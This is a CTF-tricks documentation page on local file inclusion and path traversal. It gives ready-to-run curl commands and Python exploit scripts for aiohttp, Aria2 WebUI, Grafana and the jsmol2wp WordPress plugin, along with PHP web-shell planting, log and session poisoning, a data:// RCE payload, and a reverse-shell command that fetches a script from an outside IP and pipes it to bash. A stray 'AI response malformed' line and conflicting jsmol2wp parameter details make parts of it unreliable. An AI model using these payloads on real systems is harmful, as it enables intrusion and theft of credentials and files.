> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/vulnerability-exploitation/trick-0140/web-vulnerability-exploitation-lfi.md).

# Lfi

## AioHTTP Path Traversal (CVE-2024-23334)

Exploit path traversal vulnerability CVE-2024-23334 in aiohttp versions <= 3.9.1 by making a GET request with `../` sequences in the path. You typically need an entry point like `/assets/` or `/static/`. Crucially, use `curl --path-as-is` to prevent curl from normalizing the path before sending. The `--path-as-is` option tells curl to not touch the path part of the given URL, meaning sequences like `/../` or `/./` or multiple consecutive slashes `//` are sent exactly as written.

The vulnerability lies in how aiohttp handles URLs with directory traversal sequences (`../`) when serving static files or using routes that capture the entire path. For example, a route defined as `/static/{path:.*}` would be vulnerable. Aiohttp versions <= 3.9.1 do not properly handle path normalization when encountering directory traversal sequences. By crafting a malicious URL like `/assets/../../../../etc/passwd`, an attacker can traverse outside the intended directory and access arbitrary files on the server. The vulnerability also affects percent-encoded path segments like `%2f..%2f`.

For example, to read `/etc/shadow` or `/root/root.txt` using curl:

```bash
curl --path-as-is http://127.0.0.1:8080/assets/../../../../../etc/shadow
curl --path-as-is http://127.0.0.1:8080/assets/../../../../../root/root.txt
curl --path-as-is -v http://localhost:8080/static/../../../../../../etc/passwd
```

The vulnerability can be demonstrated with a simple aiohttp server setup like this:

```python
import aiohttp.web

async def handle(request):
    filepath = request.match_info['filepath']
    try:
        with open(filepath, 'rb') as f:
            return aiohttp.web.Response(body=f.read())
    except FileNotFoundError:
        return aiohttp.web.Response(text="Not Found", status=404)
    except Exception as e:
        return aiohttp.web.Response(text=f"Error: {e}", status=500)

app = aiohttp.web.Application()
# Vulnerable route
app.router.add_get('/assets/{filepath:.*}', handle)

if __name__ == '__main__':
    aiohttp.web.run_app(app)
```

Exploitation can also be performed using Python libraries like `requests`:

```python
import requests
import sys

def exploit(url, file_path):
    exploit_url = f"{url}/assets/{file_path}"
    try:
        response = requests.get(exploit_url)
        if response.status_code == 200:
            print(f"Successfully read {file_path}:")
            print(response.text)
        else:
            print(f"Failed to read {file_path}. Status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target_url> <file_path>")
        sys.exit(1)

    target_url = sys.argv[1]
    file_path = sys.argv[2]
    exploit(target_url, file_path)
```

***

## Aria2 WebUI Path Traversal

Exploit a path traversal vulnerability in Aria2 WebUI (related to CVE-2023-39141) to read arbitrary files on the server's filesystem. This is typically done by sending `../` sequences in the URL path. A critical aspect when using `curl` for this is to prevent `curl` from normalizing the path before sending it.

Use the `--path-as-is` option with `curl` to ensure the raw path, including the `../` sequences, is sent to the vulnerable application. This option tells curl to *not* normalize the path part of the given URL, meaning sequences like `/../` or `/./` will be sent exactly as written.

```bash
curl --path-as-is http://<target_ip>:8888/../../../../../../../../../etc/passwd
```

This technique can be used to read various sensitive files, such as `/etc/passwd` or `/opt/tomcat/conf/tomcat-users.xml`, depending on the server's configuration and file structure.

Another vector for this vulnerability affects the `/download` endpoint. It can be exploited by sending a GET request to this endpoint with a crafted `file` parameter containing path traversal sequences (e.g., `../../`) to access files outside the intended directory. An example using `curl` is:

```bash
curl 'http://<target>:8888/download?file=/../../../../etc/passwd'
```

Automated checking or exploitation can also be performed using scripting languages. A Python script utilizing the `requests` library can be used to send the crafted request and check the response for indicators of success, such as the presence of "root:" when attempting to read `/etc/passwd`.

```python
import requests
import argparse

def check_vulnerability(target_url):
    payload = "/../../../../../../../../../../../../../etc/passwd"
    url = f"{target_url}{payload}"
    try:
        response = requests.get(url, verify=False) # Added verify=False for common testing scenarios
        if response.status_code == 200 and "root:" in response.text:
            print(f"[+] Vulnerable! Content of /etc/passwd:\n{response.text[:500]}...") # Print first 500 chars
        elif response.status_code == 404:
             print(f"[-] Not vulnerable or path is incorrect. Received 404.")
        else:
             print(f"[-] Received status code {response.status_code}. Not vulnerable or path incorrect.")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error connecting to {target_url}: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Check for CVE-2023-39141 vulnerability in Aria2 WebUI")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://<target_ip>:8888)")
    args = parser.parse_args()

    check_vulnerability(args.url)
```

This vulnerability affects the `webui-aria2` package, specifically versions before 8.0.0.

***

## Directory Traversal for Shell Execution

Leverage a file inclusion vulnerability (`page` parameter) with path traversal (`../`) to execute a web shell located outside the webroot (e.g., `/var/lib/mysql/shell`). Note that the server might implicitly add an extension like `.php`, meaning the target file `/var/lib/mysql/shell.php` is reached via the path `../../../../var/lib/mysql/shell`. Command execution is typically achieved by providing commands via another parameter, often named `cmd`, which the web shell is designed to read.

A common method to place a web shell in a writable directory outside the webroot, such as the MySQL data directory, is by using the `SELECT ... INTO OUTFILE` SQL command if the application interacts with a database and has an SQL injection vulnerability, or if root access to the database is otherwise obtained.

For example, to create a simple PHP web shell:

```sql
SELECT '<?php system($_GET["cmd"]); ?>' into outfile '/var/lib/mysql/shell.php';
```

Once the web shell is in place, it can be included via the LFI vulnerability.

For basic command execution:

```bash
curl 'http://target/shop/index.php?page=../../../../var/lib/mysql/shell&cmd=id'
```

For a reverse shell (assuming the web shell can execute shell commands):

```bash
curl 'http://target/shop/index.php?page=../../../../var/lib/mysql/shell&cmd=curl+10.10.16.73/exploit.sh|bash'
```

Local File Inclusion can sometimes be leveraged for remote code execution through means other than a pre-uploaded web shell. One common technique involves including files that contain user-controlled data, such as web server logs or `/proc/self/environ`, and injecting malicious code into them. When the vulnerable script includes this file, the injected code is executed. For example, injecting PHP code into the user agent string when accessing a page that logs user agents, and then including the access log file.

To achieve remote code execution via log poisoning:

First, inject the malicious code into a file that will later be included, such as the web server's access log, by sending a request with the code in a header like `User-Agent`:

```bash
curl 'http://target/' -A '<?php system($_GET["cmd"]); ?>'
```

Then, include the poisoned log file using the LFI vulnerability, passing commands via the `cmd` parameter:

```bash
curl 'http://target/index.php?page=../../../../var/log/apache2/access.log&cmd=id'
```

Another variation of this technique is **PHP Session Poisoning**. If the application uses PHP sessions and stores session data in files (common locations include `/var/lib/php/sessions/` or `/tmp/`), and the session file includes user-controlled input (e.g., data stored in a session variable, or even the User-Agent string if logged by the session handler), it may be possible to inject code.

To achieve RCE via PHP Session Poisoning:

First, inject the malicious code into a session variable or header that gets stored in the session file. For instance, injecting into the User-Agent when the session handler logs it:

```bash
curl -A "<?php system($_GET['cmd']); ?>" "http://target/index.php"
```

Then, include the corresponding session file via the LFI vulnerability. The session file name is typically `sess_` followed by the session ID. You need to know or guess your current session ID (often sent via a cookie).

```bash
curl "http://target/index.php?page=../../../../var/lib/php/sessions/sess_YOURPHPSESSID&cmd=ls -l"
```

Alternatively, if the `allow_url_include` PHP setting is enabled, it may be possible to execute code directly using PHP wrappers like `data://`. This bypasses the need to upload or poison a file on the server.

Using the `data://` wrapper for direct code execution:

The malicious PHP code `<?php system($_GET['cmd']); ?>` is base64 encoded as `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2b`. This encoded string is then passed directly in the `page` parameter.

```bash
curl 'http://target/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2b&cmd=id'
```

This technique is highly effective when `allow_url_include` is on, as it provides a direct path from LFI to RCE without relying on other server-side writable files or configurations.

***

## Exploit jsmol2wp LFI (hello.php)

Exploit a Local File Inclusion vulnerability in the `jsmol2wp` WordPress plugin to read source code using the `php://filter` wrapper. This allows retrieving the contents of files, which are often base64-encoded, to analyze for secrets, backdoors, or further vulnerabilities.

Use `curl` with the following command, targeting the vulnerable `jsmol.php` script with the filter specifying the resource path.

```bash
curl -s "http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php"
```

The path `../../../../wp-content/plugins/hello.php` is relative to the vulnerable script's location and points to the `hello.php` file within the WordPress plugins directory.

We can use the `php://filter` wrapper to read the content of the files. The `php://filter` wrapper allows us to apply filters to a stream. In this case, we can use the `convert.base64-encode` filter to encode the content of the file in base64. This is useful because it prevents the server from executing the file and allows us to read the raw content. To apply the base64 encoding filter, the `query` parameter would be modified to include `convert.base64-encode`:

```bash
curl -s "http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/convert.base64-encode/resource=../../../../wp-content/plugins/hello.php"
```

Alternatively, this can be automated using a script. A Python example demonstrating the request with the base64 encoding filter is shown below:

```python
import requests

url = "http://www.smol.thm" # Example target URL
file_path = "../../../../wp-content/plugins/hello.php" # File to read

payload = "php://filter/convert.base64-encode/resource={}".format(file_path)
exploit_url = "{}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query={}".format(url, payload)

response = requests.get(exploit_url)

if response.status_code == 200:
    print(response.text)
```

This script constructs the malicious URL with the `php://filter` payload including the `convert.base64-encode` filter and the target file path, then sends a GET request and prints the base64-encoded response body. The retrieved base64 string must then be decoded to reveal the source code of the targeted file.

***

## Exploit jsmol2wp LFI (wp-config.php)

The LFI vulnerability in the jsmol2wp WordPress plugin can be exploited by accessing the `jsmol.php` file within the plugin directory. The vulnerability is triggered by providing specific parameters in the URL query string. Setting `isform` to `true` and `call` to `getRawDataFromDatabase` activates the vulnerable function. The `query` parameter is susceptible to Local File Inclusion, allowing an attacker to read arbitrary files on the server.

A common target is the `wp-config.php` file, which is typically located four directories up from the plugin directory (`wp-content/plugins/jsmol2wp/php/`). Using the `php://filter` wrapper allows for reading the file's content.

The exploit URL structure looks like this:

```bash
http://smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
```

To potentially handle issues with special characters in the file content, the `php://filter` wrapper can be combined with a filter like `convert.base64-encode` to retrieve the file content in base64 format, which can then be decoded by the attacker.

```bash
http://smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/read=convert.base64-encode/resource=../../../../wp-config.php
```

Automated tools can also be used to detect and exploit this vulnerability. For example, a Nuclei template for CVE-2018-20463 targets this specific LFI in jsmol2wp version 1.0.7. The template defines an HTTP request that sends the crafted payload and attempts to extract sensitive information by checking for keywords typically found in `wp-config.php`.

```yaml
id: CVE-2018-20463

info:
  name: jsmol2wp 1.0.7 - Local File Inclusion
  author: daffainfo
  severity: high
  description: The jsmol2wp 1.0.7 plugin for WordPress has local file inclusion via the php/jsmol.php?query=../ parameter.
  reference:
    - https://www.exploit-db.com/exploits/46881
    - https://wpscan.com/vulnerability/7c1dff5b-bed3-49f8-96cc-1bc9abe78749
    - https://s4e.io/tools/jsmol2wp-plugin-for-wordpress-local-file-inclusion-lfi-cve-2018-20463
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20463
    cwe-id: CWE-22
  tags: wordpress,wp-plugin,lfi,jsmol2wp,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
        condition: and

      - type: status
        status:
          - 200
```

***

## Grafana Arbitrary File Read

Grafana versions vulnerable to CVE-2021-43798 (and similar issues) permit path traversal via endpoints serving static plugin assets. Navigate outside the intended plugin directory using `../` sequences to read arbitrary files on the filesystem.

```bash
curl --path-as-is http://TARGET_IP:3000/public/plugins/mysql/../../../../../../../../etc/passwd
```

The `--path-as-is` option is essential. Adjust the plugin name (e.g., `mysql`, `alertlist`) and the number of `../` sequences based on the specific Grafana setup and the target file location. This allows reading sensitive files like configuration or credential files.

Automated tools can also be used to exploit this vulnerability, often by iterating through a list of common plugin paths to find a valid entry point before attempting the path traversal. A Python script can be used for this purpose.

To use such a script, you typically provide the target URL and the path to the file you wish to read. The script handles trying different plugin paths and constructing the full malicious URL.

Usage example:

```bash
python3 CVE-2021-43798.py -t [TARGET_URL] -f [FILE_PATH]
```

For instance, to read `/etc/passwd` from a Grafana instance at `http://127.0.0.1:3000`:

```bash
python3 CVE-2021-43798.py -t http://127.0.0.1:3000 -f /etc/passwd
```

A Python script implementing this exploit might look like this:

```python
import argparse
import requests

def exploit(target, file_path):
    """
    Exploit the Grafana CVE-2021-43798 vulnerability to read arbitrary files.

    Args:
        target (str): The target Grafana URL (e.g., http://127.0.0.1:3000).
        file_path (str): The absolute path to the file to read on the target.
    """
    # List of common plugins to try
    plugins = [
        "alertlist", "annolist", "barchart", "cloudwatch", "dashlist", "elasticsearch",
        "gauge", "gettingstarted", "graph", "heatmap", "influxdb", "jp-tablepanel",
        "loki", "mixed", "mssql", "mysql", "news", "node-graph", "opentsdb", "piechart",
        "pluginlist", "postgres", "prometheus", "stat", "table", "text", "timeseries",
        "welcome", "xychart"
    ]

    # Path traversal sequence - adjust if needed
    traversal = "/../../../../../../../../"

    for plugin in plugins:
        url = f"{target}/public/plugins/{plugin}{traversal}{file_path}"
        print(f"[*] Trying: {url}")
        try:
            response = requests.get(url, verify=False, allow_redirects=False)
            if response.status_code == 200:
                print("[+] Success! File content:")
                print(response.text)
                return True
            elif response.status_code == 404:
                print("[-] Plugin not found or path incorrect.")
            else:
                print(f"[-] Received status code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"[-] An error occurred: {e}")

    print("[-] Exploit failed for all common plugins.")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Grafana CVE-2021-43798 Arbitrary File Read Exploit")
    parser.add_argument("-t", "--target", required=True, help="Target Grafana URL (e.g., http://127.0.0.1:3000)")
    parser.add_argument("-f", "--file", required=True, help="Absolute path to the file to read (e.g., /etc/passwd)")

    args = parser.parse_args()

    exploit(args.target, args.file)
```

\[Content extension failed: AI response malformed]

***

## JSmol2wp LFI via PHP Filter

The core technique exploits a Local File Inclusion (LFI) vulnerability within the JSmol2wp WordPress plugin (specifically v1.07, `jsmol.php`) by leveraging the `php://filter` wrapper to read arbitrary local files. This vulnerability is identified as CVE-2018-20463.

The following request demonstrates how to read `wp-config.php`:

```url
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
```

This uses the vulnerable `query` parameter to pass the `php://filter` resource wrapper path. The `php://filter` wrapper prevents the target file (`wp-config.php`) from being executed and instead treats it as a stream, allowing its source code or contents to be read. You must adjust the number of `../` characters based on the relative path from the vulnerable script (`jsmol.php`) to the target file (e.g., `wp-config.php` or `/etc/passwd`).

When exploiting this vulnerability to read sensitive files like `wp-config.php`, successful exploitation can often be confirmed by checking the response body for characteristic strings such as "DB\_NAME", "DB\_USER", and "DB\_PASSWORD".

***

## LFI Read arbitrary file via php\://filter

Using a Local File Inclusion (LFI) vulnerability with the `php://filter` wrapper allows reading the source code of arbitrary files within the webroot, not just configuration files. This can reveal application logic, hardcoded secrets, or other valuable information.

The `php://filter` wrapper can be used to perform filtering operations on a stream. When combined with LFI, it can be used to read source code of local files, even if direct file reading is blocked. Specify `resource=` followed by the path to the target file. Use path traversal (`../`) as needed to navigate from the vulnerable script's directory to the target file.

A common filter used is `convert.base64-encode`. The structure is often `php://filter/filter_name/resource=file_path`. Using this filter is useful because it encodes the file content in base64, which can then be easily decoded by the attacker, bypassing potential restrictions on characters or file types. The content is typically base64 encoded and needs decoding.

An example targeting a specific vulnerability (CVE-2018-20463) in the jsmol2wp WordPress plugin version 1.07 demonstrates this technique to read the `wp-config.php` file:

```
GET /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=php://filter/convert.base64-encode/resource=../../../../wp-config.php HTTP/1.1
Host: example.com
```

In this request, the `call` parameter is vulnerable and takes the `php://filter` input. The `convert.base64-encode` filter is applied to the `resource` `../../../../wp-config.php`. The path traversal navigates up four directories from `/wp-content/plugins/jsmol2wp/php/` to reach the WordPress root directory and access `wp-config.php`.

Another example might look like this, reading `hello.php` relative to the script:

```
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php
```

The path traversal goes up two directories from `jsmol2wp/php/` to likely access `/wp-content/plugins/hello.php`.

Exploit scripts often automate this process using libraries like `requests` in Python to send the request and automatically decode the base64 response. For the jsmol2wp vulnerability, a script might construct the URL and process the response as follows:

```python
import requests
import base64
import re

# Example URL for demonstration
url = "http://www.smol.thm"
payload = "isform=true&call=php://filter/convert.base64-encode/resource=../../../../wp-config.php"
full_url = url + "/wp-content/plugins/jsmol2wp/php/jsmol.php?" + payload

print(f"Attempting to read {payload} via LFI...")

try:
    response = requests.get(full_url, timeout=10)
    response.raise_for_status() # Raise an exception for bad status codes

    # The specific exploit structure often wraps content in <response> tags
    match = re.search(r'<response>(.*?)</response>', response.text, re.DOTALL)

    if match:
        base64_content = match.group(1)
        print("\nExtracted Base64 Content:")
        # Print a snippet or full content depending on length
        print(base64_content[:100] + "..." if len(base64_content) > 100 else base64_content)
        try:
            decoded_content = base64.b64decode(base64_content).decode('utf-8')
            print("\n--- Decoded File Content ---")
            print(decoded_content)
            print("----------------------------")
        except Exception as e:
            print(f"Failed to decode base64 content: {e}")
            print("Raw response content (partial):")
            print(response.text[:500] + "..." if len(response.text) > 500 else response.text)
    else:
        print("Could not find base64 content within <response> tags.")
        print("Raw response content (partial):")
        print(response.text[:500] + "..." if len(response.text) > 500 else response.text)

except requests.exceptions.RequestException as e:
    print(f"Error during request: {e}")

```

Once the base64 string is obtained from the response, you just need to decode it to get the original source code. Remember to decode the resulting output to get the file content.

***

## LFI Read wp-config via php\://filter

Exploit a Local File Inclusion (LFI) vulnerability using the `php://filter` stream wrapper to read arbitrary files, bypassing potential execution limitations. The `php://filter` wrapper allows you to filter data streams as they are read or written. This is commonly used to read sensitive configuration files like WordPress's `wp-config.php` or source code of files that would otherwise be executed by the server. The wrapper encodes the file content (e.g., using base64) as it's read, preventing it from being executed by the PHP interpreter.

Combine the LFI vulnerability with the `php://filter/read=convert.base64-encode/resource=` path to specify the target file. One of the most common uses of this wrapper is to read source code of files that would otherwise be executed by the server. The `convert.base64-encode` filter ensures the output is base64, which then needs to be decoded. This filter performs Base64 encoding of the data as it is read.

For example, exploiting an LFI in `jsmol.php` to read `wp-config.php`:

```
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/read=convert.base64-encode/resource=../../../../wp-config.php
```

Adjust the path traversal (`../../../../`) as needed to reach the target file from the vulnerable script's location.

Other common examples of using this technique include reading system files like `/etc/passwd` or the source code of the index page:

```
http://example.com/vulnerable.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
```

```
http://example.com/vulnerable.php?file=php://filter/convert.base64-encode/resource=index.php
```

The output will be base64 encoded and must be decoded to reveal the file content.

***

## Local File Inclusion Via Directory Traversal

Exploiting Local File Inclusion combined with directory traversal involves identifying the vulnerable file inclusion parameter (often revealed via source code showing `@include`) and using `../` sequences to navigate the filesystem from the application's base path (sometimes revealed through error messages).

Construct a GET request targeting the identified parameter, using enough `../` sequences to reach the filesystem root or the directory containing the target file, followed by the path to the desired file.

For a parameter named `🤯` and a target `flag.txt` located four directories above the web root:

```
GET /?%F0%9F%A4%AF=../../../../flag.txt HTTP/1.1
```

Attackers can use directory traversal sequences, such as `../`, to navigate up the file system hierarchy from the web root directory. The sequence `../` moves up one directory level. By repeating the sequence, attackers can move up multiple levels and potentially access files outside the web root. Attackers can use URL-encoded representations of the characters, such as `%2e%2e%2f` for `../` and `%2e%2e%5c` for `..\`. Double encoding, like `%252e%252e%252f`, may also be used to bypass filters.

Commonly targeted files include system files that reveal information about the server or users. On Unix/Linux systems, `/etc/passwd` is a frequently targeted file as it contains system user information. Other common targets on Unix/Linux include `/etc/shadow`, `/etc/issue`, `/etc/hostname`, `/etc/resolv.conf`, `/proc/self/environ`, and `/proc/self/cmdline`. On Windows-based systems, `c:\windows\win.ini` or `c:\boot.ini` might be targeted. Other Windows targets include `windows/system32/drivers/etc/hosts`, `windows/repair/sam`, `windows/system32/config/sam`, `windows/system32/config/security`, and `windows/system32/config/system`.

Examples of payloads targeting common files include:

Targeting `/etc/passwd` on Linux:

```
../../../../etc/passwd
```

Using URL encoding for `/etc/passwd`:

```
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
```

Using double URL encoding for `/etc/passwd`:

```
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
```

Targeting `win.ini` on Windows:

```
../../../../windows/win.ini
```

Using Windows backslashes for `win.ini`:

```
..\..\..\..\windows\win.ini
```

Using URL encoded backslashes for `win.ini`:

```
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
```

In some cases, filters might append a file extension (e.g., `.php`, `.jpg`) to the user-supplied input. A null byte (`%00`) can sometimes be used to truncate the string before the appended extension, allowing the attacker to access the intended file. For example, targeting `/etc/passwd` with a null byte:

```
../../../../etc/passwd%00
```

***

## WordPress Plugin LFI

Exploit an LFI vulnerability in a WordPress plugin by using path traversal (`../`) to access files outside the plugin directory, such as the `wp-config.php` file located in the web root.

Use a GET request, specifying the vulnerable plugin script and passing the path traversal sequence followed by the target file in the vulnerable parameter.

```http
GET /wp-content/plugins/jsmol2wp/jsmol2wp.php?param=../../../../../../var/www/html/wp-config.php HTTP/1.1
Host: smol.thm
```

Adjust the path traversal depth (`../`) based on the directory structure to reach the desired file (`/var/www/html/wp-config.php` in this example). This can reveal database credentials or other sensitive information.

For the specific jsmol2wp plugin vulnerability (CVE-2018-20463), the vulnerable parameter is typically named `file`. A common test for this vulnerability involves attempting to read the `/etc/passwd` file using a GET request like this:

```http
GET /wp-content/plugins/jsmol2wp/jsmol2wp.php?file=../../../../../../etc/passwd HTTP/1.1
Host: example.com
```

Automated tools can also be used to detect this vulnerability. For instance, a Nuclei template exists for CVE-2018-20463. This template targets the WordPress jsmol2wp 1.0.7 plugin which is vulnerable to local file inclusion via the 'file' parameter.

```yaml
id: CVE-2018-20463

info:
  name: WordPress jsmol2wp 1.0.7 - Local File Inclusion
  author: tess
  severity: high
  description: WordPress jsmol2wp 1.0.7 plugin is vulnerable to local file inclusion via the 'file' parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20463
    - https://wpscan.com/vulnerability/2c820bda-9849-450e-b181-1bd4975431d6/
    - https://www.exploit-db.com/exploits/46881
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20463
    cwe-id: CWE-22
  tags: wp,wordpress,wp-plugin,lfi,cve,cve2018,jsmol2wp

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jsmol2wp/jsmol2wp.php?file=../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
```

The template confirms the vulnerability by checking for a 200 status code and the presence of the "root:.\*:0:0:" pattern in the response body, which indicates successful reading of `/etc/passwd`.